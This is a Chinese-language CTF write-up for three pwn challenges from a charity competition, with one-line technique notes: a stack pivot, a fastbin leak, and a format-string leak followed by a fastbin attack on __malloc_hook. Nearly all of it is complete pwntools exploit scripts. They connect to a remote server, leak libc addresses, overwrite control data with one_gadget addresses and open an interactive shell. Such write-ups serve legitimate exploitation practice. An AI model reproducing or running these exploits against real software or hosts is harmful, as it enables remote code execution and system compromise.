新春戰疫公益賽(二)pwn

第一天和第三天直接被爆錘
自己已經盡力了
武漢加油!!!

borrowstack

就是基本的棧遷移
exp:

from pwn import *
from LibcSearcher import *
#p=process('./borrowstack')
p=remote('123.56.85.29',3635)
elf=ELF('./borrowstack')
libc=elf.libc
bss=0x000601080
pop_rdi=0x0400702+1
main=0x400626
p.recvuntil('want')

payload='a'*0x58+p64(elf.got['__libc_start_main'])+p64(bss+0x50)+p64(0x00400699)
p.send(payload)
p.recvuntil('!')
bsspayload='\x00'*0x50+p64(bss+0)+p64(pop_rdi)+p64(elf.got['read'])+p64(0x040065B)
p.send(bsspayload)
read=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libcbase=read-libc.sym['read']
o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
log.success('libcbase: '+hex(libcbase))
one_gadget=libcbase+o_g[2]
system=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search('/bin/sh').next()
sleep(0.2)
payload=p64(one_gadget)*2
p.send(payload)
p.recvuntil('!')
#p.recvuntil(':')
#p.send('icqa553481f05a84e6e69ac62bd46aef')
p.interactive()

excited

通過fastbin 的先進後出的性質泄露flag

from pwn import *
p=remote('123.56.85.29',6484)
#p=process('./excited')
elf=ELF('./excited')
libc=elf.libc
def add(size1,ba,size2,na):
	p.sendlineafter(' :','1')
	p.sendlineafter(' : ',str(size1))
	p.sendafter('ba : ',ba)
	p.sendlineafter(' : ',str(size2))
	p.sendafter('na : ',na)

def  delete(idx):
	p.sendlineafter(' :','3')
	p.sendlineafter(' : ',str(idx))

def show(idx):
	p.sendlineafter(' :','4')
	p.sendlineafter(' : ',str(idx))

add(0x10,'aaaa',0x10,'cccc')
add(0x10,'\x11'*4,0x20,'dddd')
#add(0x68)
delete(1)
delete(0)
add(0x20,'\x12'*4,0x20,'dddd')
add(0x10,'\x12'*4,0x10,p64(0x06020A8)*2)
show(1)
p.interactive()

interested

先格式化字符串泄露然後fastbin attack 打malloc_hook
exp:

from pwn import *
#p=process('./interested')
p=remote('123.56.85.29',3041)
elf=ELF('./interested')
libc=elf.libc
def check():
	p.sendlineafter(' :','0')

def add(size1,ost,size2,rst):
	p.sendlineafter(' :','1')
	p.sendlineafter(' : ',str(size1))
	p.sendlineafter(' : ',ost)
	p.sendlineafter(' : ',str(size2))
	p.sendlineafter(' : ',rst)

def edit(idx,ost,rst):
	p.sendlineafter(' :','2')
	p.sendlineafter(' : ',str(idx))
	p.sendlineafter(' : ',ost)
	p.sendlineafter(' : ',rst)

def delete(idx):
	p.sendlineafter(' :','3')
	p.sendlineafter(' : ',str(idx))

def show(idx):
	p.sendlineafter(' :','4')
	p.sendlineafter(' : ',str(idx))


p.recvuntil(':')
p.send('OreOOrereOOreO%17$p')
check()
p.recvuntil('OreOOrereOOreO')
libcbase=int(p.recv(14),16)-240-libc.sym['__libc_start_main']
o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
malloc_hook=libcbase+libc.sym['__malloc_hook']
one_gadget=libcbase+o_g[3]
log.success('libcbase: '+hex(libcbase))
add(0x20,'\x11',0x30,'\x22')
add(0x68,'\x12',0x20,'\x21')
delete(2)
edit(2,p64(malloc_hook-0x23),p64(malloc_hook-0x23))
add(0x68,'doudou',0x68,'a'*19+p64(one_gadget))
p.sendlineafter(' :','1')
p.sendlineafter(' : ',str(1))
p.interactive()